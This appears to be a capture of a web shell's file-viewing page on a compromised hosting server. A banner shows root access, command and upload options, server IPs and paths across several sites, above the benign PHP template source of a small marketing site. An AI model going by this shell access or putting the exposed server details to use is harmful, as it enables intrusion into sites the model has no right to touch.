|
Server IP : 149.13.87.7 / Your IP : 185.174.145.2 Web Server : nginx System : Linux h2 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : root ( 0) PHP Version : 8.0.28 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /mnt/platforms/workspaces/shortable.org/../boundlessicon.com/../jokercheck.com/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'ContentEdit.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>shortable.org - <?= $brand_name ?></title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="apple-touch-icon" href="assets/img/apple-icon.png">
<link rel="shortcut icon" type="image/x-icon" href="assets/img/favicon.ico">
<!-- Load Require CSS -->
<link href="assets/css/colors/<?= $color_changer ?>.css" rel="stylesheet">
<!-- Font CSS -->
<link href="assets/css/boxicon.min.css" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;600&display=swap" rel="stylesheet">
<!-- Load Tempalte CSS -->
<link rel="stylesheet" href="assets/css/templatemo.css">
<!-- Custom CSS -->
<link rel="stylesheet" href="assets/css/custom.css">
</head>
<body>
<!-- Header -->
<nav id="main_nav" class="navbar navbar-expand-lg navbar-light bg-white shadow">
<div class="container d-flex justify-content-between align-items-center">
<a class="navbar-brand h1" href="index.php"> shortable.org </a>
<div class="align-self-center collapse navbar-collapse flex-fill d-lg-flex justify-content-lg-between" id="navbar-toggler-success">
<div class="flex-fill mx-xl-5 mb-2">
<ul class="nav navbar-nav d-flex justify-content-between mx-xl-5 text-center text-dark">
<li class="nav-item">
<a class="nav-link btn-outline-primary rounded-pill px-3" href="index.php">Home</a>
</li>
<li class="nav-item">
<a class="nav-link btn-outline-primary rounded-pill px-3" href="index.php#services">Services</a>
</li>
<li class="nav-item">
<a class="nav-link btn-outline-primary rounded-pill px-3" href="privacy-policy.php">Privacy Policy</a>
</li>
<li class="nav-item">
<a class="nav-link btn-outline-primary rounded-pill px-3" href="disclaimer.php">Disclaimer</a>
</li>
<li class="nav-item">
<a class="nav-link btn-outline-primary rounded-pill px-3" href="index.php#contact">Contact</a>
</li>
</ul>
</div>
</div>
</div>
</nav>
<!-- Close Header -->
<!-- Start Banner Hero -->
<div class="banner-wrapper bg-light" >
<div id="index_banner" class="banner-vertical-center-index container-fluid pt-5" style= "background-image: url(assets/images/header/<?= $vertical?>/img-<?= $header_image?>.jpg);">
<!-- Start slider -->
<div id="carouselExampleIndicators" class="carousel slide" data-bs-ride="carousel">
<div class="carousel-inner">
<div class="py-5 row d-flex align-items-center">
<div class="banner-content col-lg-8 col-8 offset-2 m-lg-auto text-left py-5 pb-5">
<h1 class="banner-heading h1 text-secondary display-3 mb-0 pb-3 mx-0 px-0 light-300">
<?= $header_title ?>
</h1>
<p class="banner-body text-muted py-3">
shortable.org <?= $headerDesc ?>
</p>
<a class="banner-button btn rounded-pill btn-outline-primary btn-lg px-4" href="#" role="button"><?= $headerButton ?></a>
</div>
</div>
</div>
</div>
<!-- End slider -->
</div>
</div>
<!-- End Banner Hero -->
<!-- Start Service -->
<section class="service-wrapper py-3">
<div class="container-fluid pb-3">
<div class="row">
<h2 class="h2 text-center col-12 py-5 semi-bold-600">Services</h2>
<div class="service-header col-2 col-lg-3 text-end light-300">
<i class='bx bx-gift h3 mt-1'></i>
</div>
<div class="service-heading col-10 col-lg-9 text-start float-end light-300">
<h2 class="h3 pb-4 typo-space-line">Make Success for future</h2>
</div>
</div>
<p class="service-footer col-10 offset-2 col-lg-9 offset-lg-3 text-start pb-3 text-muted px-2">
In today's dynamic business landscape, service excellence is more important than ever. <br>
General services form the foundation of exceptional customer experiences, encompassing everything from prompt response times to effective problem resolution.
</p>
</div>
<div class="service-tag py-5 bg-secondary" id="services">
<div class="col-md-12">
<ul class="nav d-flex justify-content-center">
<li class="nav-item mx-lg-4">
<a class="filter-btn nav-link btn-outline-primary active shadow rounded-pill text-light px-4 light-300" href="#" data-filter=".project">All</a>
</li>
<li class="nav-item mx-lg-4">
<a class="filter-btn nav-link btn-outline-primary rounded-pill text-light px-4 light-300" href="#" data-filter=".branding">Branding</a>
</li>
<li class="nav-item mx-lg-4">
<a class="filter-btn nav-link btn-outline-primary rounded-pill text-light px-4 light-300" href="#" data-filter=".graphic">Advertising</a><!--Graphics-->
</li>
<li class="filter-btn nav-item mx-lg-4">
<a class="filter-btn nav-link btn-outline-primary rounded-pill text-light px-4 light-300" href="#" data-filter=".ui">24/7 Help & Support</a><!--UI/UX-->
</li>
</ul>
</div>
</div>
</section>
<section class="container overflow-hidden py-5">
<div class="row gx-5 gx-sm-3 gx-lg-5 gy-lg-5 gy-3 pb-3 projects">
<!-- Start Recent Work -->
<div class="col-xl-3 col-md-4 col-sm-6 project branding graphic">
<a href="#" class="service-work card border-0 text-white shadow-sm overflow-hidden mx-5 m-sm-0">
<img class="service card-img" src="./assets/images/service/<?= $vertical?>/srv-<?= $service1_image?>.jpg" alt="Card image">
<div class="service-work-vertical card-img-overlay d-flex align-items-end">
<div class="service-work-content text-left text-light">
<span class="btn btn-outline-light rounded-pill mb-lg-3 px-lg-4 light-300">24/7 Help & Support</span>
<p class="card-text"><?= $services_title1 ?></p>
</div>
</div>
</a>
</div><!-- End Recent Work -->
<!-- Start Recent Work -->
<div class="col-xl-3 col-md-4 col-sm-6 project ui">
<a href="#" class="service-work card border-0 text-white shadow-sm overflow-hidden mx-5 m-sm-0">
<img class="card-img" src="./assets/images/service/<?= $vertical?>/srv-<?= $service1_image?>.jpg" alt="Card image">
<div class="service-work-vertical card-img-overlay d-flex align-items-end">
<div class="service-work-content text-left text-light">
<span class="btn btn-outline-light rounded-pill mb-lg-3 px-lg-4 light-300">Social Media</span>
<p class="card-text"><?= $services_title1 ?></p>
</div>
</div>
</a>
</div><!-- End Recent Work -->
<!-- Start Recent Work -->
<div class="col-xl-3 col-md-4 col-sm-6 project branding graphic">
<a href="#" class="service-work card border-0 text-white shadow-sm overflow-hidden mx-5 m-sm-0">
<img class="card-img" src="./assets/images/service/<?= $vertical?>/srv-<?= $service2_image?>.jpg" alt="Card image">
<div class="service-work-vertical card-img-overlay d-flex align-items-end">
<div class="service-work-content text-left text-light">
<span class="btn btn-outline-light rounded-pill mb-lg-3 px-lg-4 light-300">Marketing</span>
<p class="card-text"><?= $services_title1 ?></p>
</div>
</div>
</a>
</div><!-- End Recent Work -->
<!-- Start Recent Work -->
<div class="col-xl-3 col-md-4 col-sm-6 project ui">
<a href="#" class="service-work card border-0 text-white shadow-sm overflow-hidden mx-5 m-sm-0">
<img class="card-img" src="./assets/images/service/<?= $vertical?>/srv-<?= $service2_image?>.jpg" alt="Card image">
<div class="service-work-vertical card-img-overlay d-flex align-items-end">
<div class="service-work-content text-left text-light">
<span class="btn btn-outline-light rounded-pill mb-lg-3 px-lg-4 light-300">Advertising</span>
<p class="card-text"><?= $services_title2 ?></p>
</div>
</div>
</a>
</div><!-- End Recent Work -->
<!-- Start Recent Work -->
<div class="col-xl-3 col-md-4 col-sm-6 project graphic">
<a href="#" class="service-work card border-0 text-white shadow-sm overflow-hidden mx-5 m-sm-0">
<img class="card-img" src="./assets/images/service/<?= $vertical?>/srv-<?= $service3_image?>.jpg" alt="Card image">
<div class="service-work-vertical card-img-overlay d-flex align-items-end">
<div class="service-work-content text-left text-light">
<span class="btn btn-outline-light rounded-pill mb-lg-3 px-lg-4 light-300">Digtal Marketing</span>
<p class="card-text"><?= $services_title2 ?></p>
</div>
</div>
</a>
</div><!-- End Recent Work -->
<!-- Start Recent Work -->
<div class="col-xl-3 col-md-4 col-sm-6 project branding">
<a href="#" class="service-work card border-0 text-white shadow-sm overflow-hidden mx-5 m-sm-0">
<img class="card-img" src="./assets/images/service/<?= $vertical?>/srv-<?= $service3_image?>.jpg" alt="Card image">
<div class="service-work-vertical card-img-overlay d-flex align-items-end">
<div class="service-work-content text-left text-light">
<span class="btn btn-outline-light rounded-pill mb-lg-3 px-lg-4 light-300">Market Research</span>
<p class="card-text"><?= $services_title2 ?></p>
</div>
</div>
</a>
</div><!-- End Recent Work -->
<!-- Start Recent Work -->
<div class="col-xl-3 col-md-4 col-sm-6 project branding graphic">
<a href="#" class="service-work card border-0 text-white shadow-sm overflow-hidden mx-5 m-sm-0">
<img class="card-img" src="./assets/images/service/<?= $vertical?>/srv-<?= $service4_image?>.jpg" alt="Card image">
<div class="service-work-vertical card-img-overlay d-flex align-items-end">
<div class="service-work-content text-left text-light">
<span class="btn btn-outline-light rounded-pill mb-lg-3 px-lg-4 light-300">Business</span>
<p class="card-text"><?= $services_title3 ?></p>
</div>
</div>
</a>
</div><!-- End Recent Work -->
<!-- Start Recent Work -->
<div class="col-xl-3 col-md-4 col-sm-6 project ui">
<a href="#" class="service-work card border-0 text-white shadow-sm overflow-hidden mx-5 m-sm-0">
<img class="card-img" src="./assets/images/service/<?= $vertical?>/srv-<?= $service4_image?>.jpg" alt="Card image">
<div class="service-work-vertical card-img-overlay d-flex align-items-end">
<div class="service-work-content text-left text-light">
<span class="btn btn-outline-light rounded-pill mb-lg-3 px-lg-4 light-300">Branding</span>
<p class="card-text"><?= $services_title3 ?></p>
</div>
</div>
</a>
</div><!-- End Recent Work -->
</div>
</section>
<!-- End Service -->
<!-- Start View Work -->
<section class="bg-secondary">
<div class="container py-5">
</div>
</section>
<!-- End View Work -->
<!-- Start Newslater -->
<section class="banner-bg bg-light py-5">
<div class="container">
<div class="row">
<div class="col-lg-6 mx-auto my-4 p-3">
<form action="#" method="get"><h1 class="h2 text-center">Stay up to date with us</h1>
<div class="input-group py-3">
<input name="email" type="text" class="form-control form-control-lg rounded-pill rounded-end" id="email" placeholder="Your Email" aria-label="Your Email">
<button class="btn btn-secondary text-white btn-lg rounded-pill rounded-start px-lg-4" type="submit">Subsribe</button>
</div>
<p class="text-center light-300">Signup for our newsletter and get notified for free when we publish new articles!</p>
</form>
</div>
</div>
</div>
</section>
<!-- End Newslater -->
<!-- Start Contact Us -->
<section class="container py-5" id="contact">
<h1 class="col-12 col-xl-8 h2 text-left text-primary pt-3"><?= $cotactUs_title ?></h1>
<p class="col-12 col-xl-8 text-left text-muted pb-5 light-300"><?= $contactUs_Desc ?></p>
<div class="row pb-4">
<div class="col-lg-4">
<div class="contact row mb-4">
<ul class="contact-info list-unstyled col-lg-9 col-9 light-300">
<li class="text-muted"> <i class='bx-fw bx bx-map bx-xs'></i><?= $brand_address ?></li>
</ul>
</div>
<div class="contact row mb-4">
<ul class="contact-info list-unstyled col-lg-9 col-9 light-300">
<li class="text-muted"> <i class='bx-fw bx bx-mail-send bx-xs'></i><?= $brand_email ?></li>
</ul>
</div>
<div class="contact row mb-4">
<ul class="contact-info list-unstyled col-lg-9 col-9 light-300">
<li class="text-muted"> <i class='bx-fw bx bx-phone bx-xs'></i><?= $brand_phone ?></li>
</ul>
</div>
</div>
<!-- Start Contact Form -->
<div class="col-lg-8 ">
<form class="contact-form row" method="post" action="#" role="form">
<div class="col-lg-6 mb-4">
<div class="form-floating">
<input type="text" class="form-control form-control-lg light-300" id="floatingname" name="inputname" placeholder="Name">
<label for="floatingname light-300">Name</label>
</div>
</div><!-- End Input Name -->
<div class="col-lg-6 mb-4">
<div class="form-floating">
<input type="text" class="form-control form-control-lg light-300" id="floatingemail" name="inputemail" placeholder="Email">
<label for="floatingemail light-300">Email</label>
</div>
</div><!-- End Input Email -->
<div class="col-lg-6 mb-4">
<div class="form-floating">
<input type="text" class="form-control form-control-lg light-300" id="floatingphone" name="inputphone" placeholder="Phone">
<label for="floatingphone light-300">Phone</label>
</div>
</div><!-- End Input Phone -->
<div class="col-lg-6 mb-4">
<div class="form-floating">
<input type="text" class="form-control form-control-lg light-300" id="floatingcompany" name="inputcompany" placeholder="Company Name">
<label for="floatingcompany light-300">Company Name</label>
</div>
</div><!-- End Input Company Name -->
<div class="col-12">
<div class="form-floating mb-4">
<input type="text" class="form-control form-control-lg light-300" id="floatingsubject" name="inputsubject" placeholder="Subject">
<label for="floatingsubject light-300">Subject</label>
</div>
</div><!-- End Input Subject -->
<div class="col-12">
<div class="form-floating mb-3">
<textarea class="form-control light-300" rows="8" placeholder="Message" id="floatingtextarea"></textarea>
<label for="floatingtextarea light-300">Message</label>
</div>
</div><!-- End Textarea Message -->
<div class="col-md-12 col-12 m-auto text-end">
<button type="submit" class="btn btn-secondary rounded-pill px-md-5 px-4 py-2 radius-0 text-light light-300">Send Message</button>
</div>
</form>
</div>
<!-- End Contact Form -->
</div>
</section>
<!-- End Contact Us -->
<!-- Start Footer -->
<footer class="bg-secondary pt-4">
<div class="container">
<div class="row py-4">
<div class="col-lg-3 col-12 align-left">
<a class="navbar-brand" href="index.html">
<span class="text-light h5">shortable.org</span>
</a>
<p class="text-light my-lg-4 my-2"><?= $headerDesc ?></p>
<ul class="list-inline footer-icons light-300">
<li class="list-inline-item m-0">
<a class="text-light" target="_blank" href="http://facebook.com/">
<i class='bx bxl-facebook-square bx-md'></i>
</a>
</li>
<li class="list-inline-item m-0">
<a class="text-light" target="_blank" href="https://www.linkedin.com/">
<i class='bx bxl-linkedin-square bx-md'></i>
</a>
</li>
<li class="list-inline-item m-0">
<a class="text-light" target="_blank" href="https://www.whatsapp.com/">
<i class='bx bxl-whatsapp-square bx-md'></i>
</a>
</li>
<li class="list-inline-item m-0">
<a class="text-light" target="_blank" href="https://www.flickr.com/">
<i class='bx bxl-flickr-square bx-md'></i>
</a>
</li>
<li class="list-inline-item m-0">
<a class="text-light" target="_blank" href="https://www.medium.com/">
<i class='bx bxl-medium-square bx-md' ></i>
</a>
</li>
</ul>
</div>
<div class="col-lg-3 col-md-4 my-sm-0 mt-4">
<h3 class="h4 pb-lg-3 text-light light-300">Our Company</h2>
<ul class="list-unstyled text-light light-300">
<li class="pb-2">
<i class='bx-fw bx bxs-chevron-right bx-xs'></i><a class="text-decoration-none text-light" href="index.php#main_nav">Home</a>
</li>
<li class="pb-2">
<i class='bx-fw bx bxs-chevron-right bx-xs'></i><a class="text-decoration-none text-light py-1" href="index.php#services">Services</a>
</li>
<li class="pb-2">
<i class='bx-fw bx bxs-chevron-right bx-xs'></i><a class="text-decoration-none text-light py-1" href="privacy-policy.php">Privacy Policy</a>
</li>
<li class="pb-2">
<i class='bx-fw bx bxs-chevron-right bx-xs'></i><a class="text-decoration-none text-light py-1" href="disclaimer.php">Disclaimer</a>
</li>
</ul>
</div>
<div class="col-lg-3 col-md-4 my-sm-0 mt-4">
<h2 class="h4 pb-lg-3 text-light light-300">Our Services</h2>
<ul class="list-unstyled text-light light-300">
<li class="pb-2">
<i class='bx-fw bx bxs-chevron-right bx-xs'></i><a class="text-decoration-none text-light py-1" href="index.php#services">Branding</a>
</li>
<li class="pb-2">
<i class='bx-fw bx bxs-chevron-right bx-xs'></i><a class="text-decoration-none text-light py-1" href="index.php#services">Marketing</a>
</li>
<li class="pb-2">
<i class='bx-fw bx bxs-chevron-right bx-xs'></i><a class="text-decoration-none text-light py-1" href="index.php#services">24/7 Help & Support</a>
</li>
</ul>
</div>
<div class="col-lg-3 col-md-4 my-sm-0 mt-4">
<h2 class="h4 pb-lg-3 text-light light-300">For Client</h2>
<ul class="list-unstyled text-light light-300">
<li class="pb-2">
<i class='bx-fw bx bx-map bx-xs'></i><a class="text-decoration-none text-light py-1" href="<?= $brand_address ?>"><?= $brand_address ?></a>
</li>
<li class="pb-2">
<i class='bx-fw bx bx-mail-send bx-xs'></i><a class="text-decoration-none text-light py-1" href="<?= $brand_email ?>"><?= $brand_email ?></a>
</li>
<li class="pb-2">
<i class='bx-fw bx bx-phone bx-xs'></i><a class="text-decoration-none text-light py-1" href="<?= $brand_phone ?>"><?= $brand_phone ?></a>
</li>
</ul>
</div>
</div>
</div>
<div class="w-100 bg-primary py-3">
<div class="container">
<div class="row pt-2">
<div class="col-lg-6 col-sm-12">
<p class="text-lg-start text-center text-light light-300">
©<?php echo date("Y"); ?> Copyright. All right reserved.
</p>
</div>
<div class="col-lg-6 col-sm-12">
<p class="text-lg-end text-center text-light light-300">
<a rel="sponsored" class="text-decoration-none text-light" href="#" target="_blank"><strong>shortable.org</strong></a>
</p>
</div>
</div>
</div>
</div>
</footer>
<!-- End Footer -->
<!-- Bootstrap -->
<script src="assets/js/bootstrap.bundle.min.js"></script>
<!-- Load jQuery require for isotope -->
<script src="assets/js/jquery.min.js"></script>
<!-- Isotope -->
<script src="assets/js/isotope.pkgd.js"></script>
<!-- Page Script -->
<script>
$(window).load(function() {
// init Isotope
var $projects = $('.projects').isotope({
itemSelector: '.project',
layoutMode: 'fitRows'
});
$(".filter-btn").click(function() {
var data_filter = $(this).attr("data-filter");
$projects.isotope({
filter: data_filter
});
$(".filter-btn").removeClass("active");
$(".filter-btn").removeClass("shadow");
$(this).addClass("active");
$(this).addClass("shadow");
return false;
});
});
</script>
<!-- Templatemo -->
<script src="assets/js/templatemo.js"></script>
<!-- Custom -->
<script src="assets/js/custom.js"></script>
</body>
</html>AnonSec - 2021